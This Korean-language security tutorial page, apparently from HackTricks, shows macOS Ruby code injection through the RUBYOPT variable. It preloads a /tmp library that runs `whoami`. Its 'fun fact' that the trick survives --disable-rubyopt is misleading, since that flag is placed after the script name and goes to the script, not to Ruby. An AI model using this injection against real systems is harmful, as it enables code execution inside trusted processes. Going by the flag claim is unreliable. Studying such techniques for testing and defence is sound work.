macOS Ruby Applications Injection

Reading time: 2 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

RUBYOPT

이 환경 변수를 사용하면 ruby가 실행될 때 새로운 매개변수추가할 수 있습니다. 매개변수 **-e**는 실행할 ruby 코드를 지정하는 데 사용할 수 없지만, 매개변수 **-I**와 **-r**를 사용하여 로드 경로에 새 폴더를 추가한 다음 로드할 라이브러리를 지정할 수 있습니다.

라이브러리 **inject.rb**를 **/tmp**에 생성합니다:

inject.rb
puts `whoami`

어디에나 다음과 같은 루비 스크립트를 생성하세요:

hello.rb
puts 'Hello, World!'

그런 다음 임의의 루비 스크립트를 다음과 같이 로드합니다:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb

재미있는 사실, --disable-rubyopt 매개변수와 함께 작동합니다:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기